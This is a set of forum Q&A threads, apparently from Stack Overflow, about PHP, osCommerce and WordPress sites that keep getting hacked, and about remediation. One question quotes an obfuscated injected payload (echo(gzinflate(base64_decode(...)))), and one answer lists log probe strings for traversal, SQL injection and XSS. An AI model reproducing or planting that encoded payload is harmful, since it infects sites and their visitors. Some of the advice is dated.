I know securing any website is a very tough and broad topic to be discussed upon but i want to relate this question to my specific website which i've been working on. It was coded in php by some other programmer around 2004 and i am responsible for it's management. My problem is it's being hacked time and again. I have noticed following things when it's been hacked.
.htaccess file has been modified
index.php and config.php files were modified
Admin password has been changed
Uploading files in server
changing file permission of files and folders
I have worked on the code, it has been properly escaped and i think there is no probability of sql injection. Since most of the problem is related to files and permission i have a doubt about the server security but due to the reason that it was coded around 2004 surely it will lack some security, so what other things do i need work upon in my code to prevent my site being hacked for above mentioned problems?
Thanks in advance.
Since files have been modified, this is unlikely due to SQL injection bugs.
Possibilities to get to the files:
Guess/steal your FTP password
Hack the server (you can't really do anything about that)
Insufficient isolation on the server, meaning other customers can change your files (you can't really do anything about that either)
Remote code execution bugs
Now since you say the website is from 2004, it could be that it uses eval for templating or include for things like site.php?section=foo and then include foo.php in the code somewhere which were both done frequently back in 2004. So I'd do a quick file search for eval and the regex include(.*\$.*) as well as require(.*\$.*). Those are prime suspects depending on how they were used.
Someone probably has direct access to the server, rather than to (a) script(s) in particular. This doesn't sound like a security issue having its origin in the codebase.
You might wanna consider moving the entire site to another provider if this has happened time and time again. Start over somewhere else, with fresh passwords, access control, etc.
OWASP top 10 is very good read. Some guesses of mine.
outdated OS which has vulnerabilities.
MySQL injection and maybe all password stored in plain-text which is very very bad. For authentication you should be using something like openID instead. Also when you have MySQL-injection you should pronto update code to use PDO(prepared statements) if possible.
read/write permissions not set properly or APACHE/PHP running at elevated level?
My advice to you is:
read up on information on OWASP. Then cleary look for flaws in your code. Every line could be source off problem. Maybe you should ditch old code, because very insecure?
reinstall your OS, because you could have a rootkit even?
Never use just shared hosting, use at least managed servers / keep the system up to date
Check your php.ini for security issues (that you can google)
Check your Apache/Nginx/... configs for overrides
Never communicate unencrypted with the server (use SFTP, SSH, ...)
Never trust external values (also from Cookies), always escape/cast those
Filter user input (remove line breaks, 0x00 characters, tags, ... where undesired)
Check all possibly existing user accounts for the server/database/...
Check if all services run as the correct user
Check file (write/execute) permissions in your web folders
Escape everything you show on the website, do not even trust your database data to be safe in any way
If you use 3rd party software, look out for security advisories
re-install the server, you might have been rooted
Use prepared statements
That's it;) This will enhance your security a lot, but experienced attackers are tough.
Related
My internet website keeps on being infected with the following code. I keep removing it, after some day maybe it is there again. Help please.
#d93065#
echo(gzinflate(base64_decode("tVXbjptADP2VNi+BRmmZgbkglr70E/qIeIgTyLLahhRQ0CrKv9c2QzbZknRVaZWLPB7P8bF9Bh7adVPtu+9VGiRd83LcN3VXdy/7IjmtV9360Su2Rb9tN/6xTLP5MpRAPx2BFrCMYSlAxWACUBaMBm1BB6DRo0CBlrRCU6Lb8M7FvolAKrABRCEoTcGhYYNjEHgpQRnGjikMl2giHiiyLDJB3JHRKysTvqKgjUABCHsVbCPiTkwM0aB08RTg7dKMJWxMiCvH1oCIJyggMqYgjwXJVeiQy8evAIFtwQ/WaQc2hiH4vKJThrct8SCT01sQzEEwFDeKslg6qjgC/UMuPOi20UX8I54KM3gbYbiagQeGDtsDIWpSRCzpvHF1YyTRD11aFbsGYbORFBGOxg5FtKQtnrDirpuhYO1aKM4aEeTBSMNIipHE2YGcpOBWTzRb8hwm532xpEPcS2Wv2C3jOxKakIfhaiggdtdB8rxvy0YNsgn4HJc9eTUG8U9oSQ61oVs54dIco1FPoZvSuakD0Fl/aIcfpcArYpc6Uv/Q0PlSvJEROm8j3tDXgHVLYvcQL7XnlH+fwajL6eD3Tub6zo7zcXfyf2b99zWfAn3/g+4Dn+GKb4FgFTEgxkjtlIC5FL9e9OTze55nQf613T9XnTeHuZ8c0lkxW8wOK/x7niWnqvQOfpH21W5T99kh55fbrug/CanGV9vvfusf+7RM2jTLk1OT/uyaardNyrrxEqXN57RKqkUq/OMTWaVX+G3aLppsVmKWBn/1rx/4/7gim6x6U8xyr8+e8i9iEQmfeRR+4bV+8vDNvWr/AA==")));
#/d93065#
Edit: Is there any way to find out how did the code come if it ever happens again. Could it be from the provider or what?
I also have to say that all my accounts are infected not only one.
My suggestion would be that your FTP account has been compromised. Change your FTP password and don't store it anywhere, clean your web and wait if it helps. If you store your FTP password in your computer, double-check it for viruses/malware. It may happen that some malware grabs your FTP password stored e.g. in Total Commander's list of FTP accounts.
Review your php code. There might be some vulnerability in it somewhere that allows an attacker to modify your files. Or your web server could be vulnerable.
The reason why it is coming back is because someone (or a bot/script) is doing it repeatedly and you've not secured all the parts that run your application i.e. server + code.
Like #pomeh suggests, monitor your server logs to see which files are being accessed to see how it is happening.
Your site is probably open for attacks. And since you don't fix the open "holes" the attacker can inject the code again, and again.
I would start by checking server logs and ftp logs, that should give you a hint where is the problem. My guess would be that your site got compromised and user left a simple php shell behind for further access, which is the scenario for most of the cases. This can be uncovered just by looking at logs; this might be a little timely, and require a person at least little experienced in what to look for (things like traversal inclusion attempts - ../, sql injection attempts - and 1=1, xss - <script>alert, those are just the most basic of examples).
If however there was more serious intrusion, it will be more difficult to uncover as the person would be able to cover his tracks by getting rid of logs, so I'd probably also check for rootkits just to be safe.
Also it depends whether you are on shared host, in which case messed up server permissions can result in your website being vulnerable as a result of another website being compromised. A lot of websites get attacked this way, majority of small and middle sized hosting providers don't provide enough security in this area, essentially rendering your website only as secure as the least secure website hosted on the server.
As said in other answers, if you use open source solution check via google or for example at http://www.exploit-db.com/ if there had been any exploits released lately. Lastly you might want to check the server and what services it is running.
Let's say I have a website where
PHP 5.3 is installed
every output is htmlspecialchars()ed.
PDO and prepared statements are the only way to interact with the database
error_reporting() is off
every request is passed to index.php (front controller) and no direct file access is allowed except for index.php via .htaccess
every input is properly escaped (why should I? i use Prepared statements, how could an user input mess up with my code?)
there's no use of evil()
Is it considered safe? What other things could be fixed to improve security? How could you attack it? Hack it? PHP/Server side is possible to improve security?
Check this page : PHP Security Guide. Most attacks are documented. If after implementing these security checks, you're still hacked, there are high chances that the problem doesn't come from your PHP application.
By the way, as #Jacco stated, there is some wrong stuff on the article I linked to.
Use prepared statements instead of mysql_real_escape_string(), but you already did that.
About salting, follow this answer instead : https://stackoverflow.com/a/401684/851498
Finally, checking ['type'] (for file upload) is unsafe since a malicious user can change this value. Instead, see the suggested solution of this link : http://www.acunetix.com/websitesecurity/upload-forms-threat.htm
I remember when I started web developing, I read allot about sanitizing data, creating numerous mysql users with a subset of permissions for specific queries, etc.
It gets you in the mindset of treating security with code, not with the operating system.
What use is all of this if you connect to your console with telnet, or use ftp with authentication?
I guess I should cut to the point. I think modern open source technologies such as php mysql etc have build up allot of security features, which gave me a false sense of security.
The damage you can do through these technologies is negligible compared to hacking into console with a brute force attack. If I were you I would worry much more about geting a proper firewal and only allowing port 80 or the bare minimum of ports you need. If you enable console access I would only allow your desktop IP... etc.
and make sure if you ever send a password, that it is encrypted through ssl
There is no absolute security guarantee, you can add the following to the answers above:
If you allow file uploads, make sure you do mime checking;
Make sure the public cannot upload an unlimited amount of files to
overload and eventually kill your server;
If you own the server make sure there are no other weak gates to your site, you can spend millions making your site bulletproof to any type of attack, but if someone gains access to it through another website hosted on the same server, you're out of luck;
Use a vulnerability scanner like acunetix, skipfish;
If you own the server make sure you stay up to date with the versions of the software running on your server (PHP/Apache/MySQL). Subscribe to get updates from the vendors;
If the budget allows it, you could offer a bounty to someone to find a security hole in a DEV release of your code;
Use a product like the following: https://www.cloudflare.com/features-security
security is a major concern for any product and it can not be achieved by some finger count policies but they are important so everywhere in the code think the negative possibilities and work against them to prevent them.
other thing you have to do
store sensitive data in encrypted formate in db
clean XSS every user input data
It is important to note that "safe" is a context-based term. It highly depends on your needs, and there are companies out there (I'm looking at you Google) who will not even consider installing PHP at all.
If you are working at a big company, I would recommend hiring the services of professionals.I heard from a friend that this company does sec checkups for all the big companies, which seems likely since they are the people that distribute Kali Linux.
https://www.offensive-security.com/offensive-security-solutions/penetration-testing-services/
There can be multiple other issues as well, such as session problems, sensitive information enumeration, authorization and authentication issues, and lot more. Issues like business logic bypass can not be resolved by traditional secure coding guidelines. However, looking at PHP Security Cheat Sheet and OWASP PHP Security Project would be a great help to understand the big picture of security issues.
You can learn more about exploiting PHP security issues and related attack techniques by solving the PHP security challenges by RIPSTech (https://www.ripstech.com/php-security-calendar-2017/) or by reading their writeups of real-world vulnerabilities found in popular PHP apps (https://www.ripstech.com/security-vulnerability-database/)
I have been asked to fix a hacked site that was built using osCommerce on a production server.
The site has always existed on the remote host. There is no offline clean version. Let's forget how stupid this is for a moment and deal with what it is.
It has been hacked multiple times and another person fixed it by removing the web shell files/upload scripts.
It is continually hacked often.
What can I do?
Because you cannot trust anything on the web host (it might have had a rootkit installed), the safest approach is to rebuild a new web server from scratch; don't forget to update all the external-facing software before bringing it online. Do all the updating on the happy side of a draconian firewall.
When you rebuild the system, be sure to pay special attention to proper configuration. If the web content is owned by a different Unix user than the web server's userid and the permissions on the files are set to forbid writing, then the web server cannot modify the program files.
Configure your web server's Unix user account so it has write access to only its log files and database sockets, if they are in the filesystem. A hacked web server could still serve hacked pages to clients, but a restart would 'undo' the 'live hack'. Of course, your database contents could be sent to the Yakuza or corrupted by people who think your data should include pictures of unicorns. The Principle of Least Privilege will be a good guideline -- what, exactly, does your web server need to access in order to do its job? Grant only that.
Also consider deploying a mandatory access control system such as AppArmor, SELinux, TOMOYO, or SMACK. Any of these systems, properly configured, can control the scope of what can be damaged or leaked when a system is hacked. (I've worked on AppArmor for ten years, and I'm confident most system administrators can learn how to deploy a workable security policy on their systems in a day or two of study. No tool is applicable to all situations, so be sure to read about all of your choices.)
The second time around, be sure to keep your configuration managed through tools such as as puppet, chef, or at the very least in a revision control system.
Update
Something else, a little unrelated to coming back online, but potentially educational all the same: save the hard drive from the compromised system, so you can mount it and inspect its contents from another system. Maybe there's something that can be learned by doing forensics on the compromised data: you might find that the compromise happened months earlier and had been stealing passwords or ssh keys. You might find a rootkit or further exploit tools. You might find information to show the source of the attack -- perhaps the admin of that site doesn't yet realize they've been hacked.
Be careful when inspecting hacked data -- that .jpg you don't recognize might very well be the exploit that cracked the system in the first place, and viewing it on a 'known good' system might crack it, too. Do the work with a hard drive you can format when you're done. (Virtualized or with a mandatory access control system might be sufficient to confine "passive" data-based hacks, but there's nothing quite like throwaway systems for peace of mind.)
Obtain a fresh copy of the osCommerce version the site was built with, and do a diff between the new fresh osCommerce and the hacked site. Also check for files which exist on the server but not in the osCommerce package.
By manually comparing the differences, you can track down all possible places the hack may have created or modified scripts.
I know this is a little late in the day to be offering this solution but the official fix from osCommerce developement is here:
http://library.oscommerce.com/confluence/display/OSCOM23/(A)+(SEC)+Administration+Tool+Log-In+Update
Once those code changes are applied then most of the actual work is in cleaning up the website. The admin login bypass exploit will be the cause that has allowed attackers to upload files via the file manager (usually) into directories that are writable, often the images directory.
There are other files that are often writable too which can have malicious code appended in them. cookie_usage.php and includes/languages/english/cookie_usage.php are the usual files that are affected, however on some server configurations, all site files can be susceptible.
Even though the official osCommerce fix is linked to above, I would also suggest to make this change as well: In the page above, scroll down till you see the link that says "Update PHP_SELF Value". Make those changes as well.
This will correct the way $PHP_SELF reports and prevent attackers from using malformed URLs in attempts to bypass the admin login.
I also suggest that you add htaccess basic authentication login to the admin directory.
Also check out an addon I authored called osC_Sec which is an all in one security fix, which while works on most php backed websystems, it is specifically designed to deal to the issues that exist in the older versions of osCommerce.
http://addons.oscommerce.com/info/8283
I have a client who's wordpress sites have gotten hacked twice by iframe scammers. Each time they've injected iframe code into the content of the sites.
This last time, today, they simply changed the siteurl in wp_options to their iframe code. The result was obvious and appeared to simply botch the paths of the scripts that rely on
<?php bloginfo(); ?>
I can't determine if its a password compromise (on FTP or WordPress itself) or a SQL injection to alter siteurl. Since the only thing that was altered is siteurl, I'm thinking perhaps SQL Injection.
What are your thoughts? Any way to scan a site for potential SQL injection vulnerabilities?
The only active plugins on the site are contact form 7 and google xml sitemaps.
It is extremely unlikely that SQL Injection 0-day was used in this attack. Wordpress is one of the most insecure PHP projects I have ever audited, and it won a pwnie award for being so insecure. The "Wordpress hackers" are a complete joke, they rejected one of my vulnerability reports because they where unable to grasp the simple flaw, they didn't even bother running my exploit code. (The flaw was patched.)
Using FTP is an extremely bad idea. You are transmitting plain text passwords and source code over the open internet in CLEAR TEXT, you must be completely insane. Use SFTP!!!! I know there is a virus (can't remember the name...) that is spreading by sniffing network traffic looking for FTP passwords, then it logs in, and modifies .php and .html files it finds. Run an anti-virus on all machines with FTP access to the server, AVG will remove this virus.
I bet that wordpress or one of your plugins has never been updated. Vulnerabilities in plugins are a commonly used to break into web applications. Check all your version numbers of all installed libraries/web apps.
If you want to test your site for SQL Injection then turn display_errors=On in your php.ini and run the Sitewatch free service* or the open source Wapiti. After you patch any vulnerabilities, re run the scan to make sure your patches hold. Then run PhpSecInfo to lock down your php install. Make sure to remove all RED entries from the report.
*I am affiliated with this site/service.
Don't forget comments. I've had problems with users registering and then throwing code in the comments and in their profile. Check there.
I think it's trojan horse stealing FTP passwords from user's PC.
As for software to test your app against SQL injections, there are plenty of answers here on SO already
Have you tried any of the free SQL injection scanners? Nessus does it, but it's not free anymore, there are a few free ones available, sorry couldn't be any more help, have not looked at databases in ages and when I did it was only a cursory glance.
If the paper linked here is right, you should use NTOSpider to let it attack your site.
I own a website running on LAMP - Linux, Apache, mySQL and PHP. In the past 2-3 weeks the PHP and jQuery files on my website have become infected from malware from a site called gumblar.cn
I can't understand how does this malware get into my PHP files and how do I prevent it from happening again and again.
Any ideas?
UPDATE:
Looks like it is a cpanel exploit
Your site is cracked, so the crackers simply replace your files.
You should always upgrade your Linux OS, Apache, MySQL, PHP, and the web PHP programs whenever a security alert is announced.
Linux servers running open services without upgrading them regularly are the most vulnerable boxes on internet.
No one here can provide a conclusive solution based on the information you provided, so all we can suggest is that you follow good security practices and standards and correct any weak points immediately.
Make sure your software is up-to-date. It's very possible to gain access to local files through exploits in PHP programs, so keep any third-party applications you're running on their latest versions (especially very widespread programs like Wordpress and phpBB), and do whatever you can to ensure that your server is running the correct versions of its services (PHP, Apache, etc.).
Use strong passwords. A strong password is a long, random list of characters. It should have nothing to do with your life, it should have no readily available acronyms or mnemonics, it should not resemble a dictionary word, and it should contain a healthy interspersing of different characters; numbers, letters of different cases, and symbols. It should also be reasonably long, ideally more than 26 characters. This should help keep people from bruteforcing your credentials for enough time for competent sysadmins to take action against the attackers.
Work with the administrators at your hosting provider to understand what happened in this particular case and do things to correct it. They may not have noticed anything unusual; for instance, if you have an easy password, or if this attack was perpetrated by a trusted individual, or if you have an unpatched exploit in a custom PHP application, there would be nothing to indicate an improper use.
Shared hosts also have many people with access to the same local machine, so things like file permissions and patching of locally-accessible exploits both within your application and generally is very important. Make sure your host has good policies on this and make sure that none of your software unequivocally trusts local connections or users.
The nature of the attack (an import of malware from a site that appears to do this kind of thing en masse) suggests that you were running an exploitable application or that your username/password combination was not sufficiently strong, but the administrators at your provider are really the only ones able to supply accurate details on how this happened. Good luck. :)
Chances are, there is an application on your server with a known vulnerability that has been attacked, and something has modified files on your web site or installed a new file.
When searching for information on gumblar.cn, it looks like they use a trojan called JS-Redirector-H. Not sure if this is what is involved here.
Fixing this may involve restoring your web site from backup, if you have no way of knowing what has been modified. If you have source control or a recent version, you may be able to do a whole-site diff. But you will also need to fix the security vulnerability that allowed this to happen in the first place.
Chances are it's some insecure app, or an app you installed some time ago but have not updated recently. A few people who have complained about this mentioned that they use Gallery (ie PHP Gallery). Though I'm not sure if that's connected.
If you are not the server administrator, talk to the server admin. They may be able to help, and it would be wise to let them know about this.
Google Advisory:
http://safebrowsing.clients.google.com/safebrowsing/diagnostic?client=Firefox&hl=en-US&site=http://gumblar.cn (linking doesn't work)
First, contact your hosting company and report this. If this is server-wide, they need to know about it.
The most common cause of infections like this is vulnerable popular PHP software (such as PHPBB, Mamboserver and other popular systems). If you're running any 3rd party PHP code, make sure you have the latest version.
If you've determined that this only affects your site, restore from a backup. If you don't have any backups, try re-installing everything (you can probably migrate the database) you have (to the latest version) and go through your own PHP code (if any).
PHP Programs are actually simple text files that run on the server by the PHP interpreter. if your application is infected, then I think there are tow posiibilities:
1.they have used some security hole in YOUR application to inject some code into your server, so now they have changed some of your PHP files, or some of your database information.
if this is the case, you better double check every single place where you are fetching information from the user (text inputs, file uploads, cookie values, ...), make sure everything is well filtered. this is very common security practice to filter anything that comes from the user. you also better make sure that the data that is currently saved in your database (or file system) is clean. I suggest using Zend_Filter component of the Zend Framework to filter user input. there are many full featured filter libraries out there.
2.they could have run some program on your server, that is affecting your PHP source files. so somehow they have accomplished running some program/script your server, that is changing your application.
if this is the case, I suggest your check all your server processes and make sure you know every process that is running. although I think this is less possible.
Ok, this is NOT a programming question and SO is not the place for this because if we would tolerate such questions here we would soon be a first aid / support site for ppl with bad shared hosting accounts.
I only didn't vote for closing because I feel bad turning a few ppl down who are probably feeling really bad about a problem they don't have the knowledge to fix.
First of all: google for gumblar.cn, there is a growing number of potentialy helpful posts accumulating as we speak.
If you're a real beginner and you feel you don't get any of the things in the answers here then just do the following:
Get a new host
Google for information about all your software until you know, if the software is safe. If it's not, don't use it, until the developers have fixed the problem. An example of a not secure software is 'Galery'.
Install all your software (the secure ones only) FRESH INSTALL!!
Copy over static files (like images) to the new server. Do NOT copy over any dynamic files, like php scripts, as they could be infected.
Don't upload any of your own PHP scripts until you've checked them for security vulnerabilities. If you don't know how to do this, don't upload anything before you've learned about these things.
I have been affected by this virus/malware and currently cleaning up. I hope this will be helpful:
1) You most likely have a TROJAN on your PC. To verify this simply run (Start > Run... or Windows key + R) and type "cmd" or "regedit". If either of those doesnt open its window as expected, you have the Js:Redirector trojan. You can also verify that the anti virus programs aVast and Malware Bytes can not connect to updates for some reason (sneaky trojan that is). Plus, you'll notice that the Security program of the Control Panel was disabled, you wouldn't have seen a notification in the tray icons to tell you that the virus protection was disabled.
2) This is a very recent exploit, apparently of vulnerabilities inflash or pdf plugins, thus you are not safe even if you didn't use Internet Explorer!
As for me, I believe because I hate programs slowing down my PC, I have my Windows Updates on "manual", and I didn't have resident protection (scanning of all web connections, etc), and I was probably infected by visiting another hacked site which was not blacklisted yet. Also I was over confident in non-IE browsers! I sometimes ignore the blacklist warning as I am curious about what the scripts do etc, and forgot once again just how BAD Windows really is. Conclusion: leave Windows Updates on automatic, have minimal resident protection (aVast Web Shield + Network Shield).
3) Because this is a trojan that sends back your FTP password, it doesn't matter how good your password was!
4) Try to lceanup your PC with Malware or aVast, it will find a file ending with ".ctv"
You MUST have a virus database dated 14 May or more recent. If you can't update (as explained above), then follow these instructions (you'll need to extrapolate but basically you have a file, the name may vary, which is pointed in the registry, and use HiJackThis to remove it, once you rebout without this file excuted, all is fine)
5) Of course update your passwords, BUT make sure the trojan is removed first!
6) For an exact list of all pages modified try to get a FTP log and you'll find the IP of the script/hacker and all touched files.
7) If you have a complete local copy of the "production" environment, then the safest is to delete ALL the site on the server, and re-upload all files.
8) During the clean up process DONT visit your infected site, or you will re-install the trojan! If you have the latest aVast Home Edition and the "Web Shield" protection it will give you a warning and block the page from being executed by your browser.
like Francis mentioned, try to get your hosting company to make sure their software is up to date.
On your side, change your ftp password to something completely obscure as soon as possible. I've seen this happen to people before. What these 'hackers' do is a brute force on your ftp account, download a couple of files, modify them slightly, and then re-upload the infected copies. If you have access to the ftp log files you'll probably see a connection to your account from an IP other than yours. You may be able to submit this to your hosting company and ask them to black-list that IP from accessing their servers.
That website (gumblar.cn that you mentioned) is being tested for malware. You can monitor results here: http://www.siteadvisor.com/sites/gumblar.cn/postid?p=1659540
I had something like this happen to me at an old hosting provider. Somehow, someone, was able to infect Apache in some way so that a special header was injected into all my PHP files which caused the browser to try to download and run in the browser. While they got it fixed, the quick solution was to take down all my PHP files, and change my index file a plain HTML file. Whether or not this stops the problem for you depends on how the server is infected. The best thing and probably most responsible thing you can do is to protect your visitors by taking down site, and if possible (if text files aren't infected), display a message stating that if they visited recently they may have been infected.
Needless to say, I switched hosting providers quick soon after my site was infected. My hosting provider was pretty bad in a lot of other ways, but this was pretty much the final straw.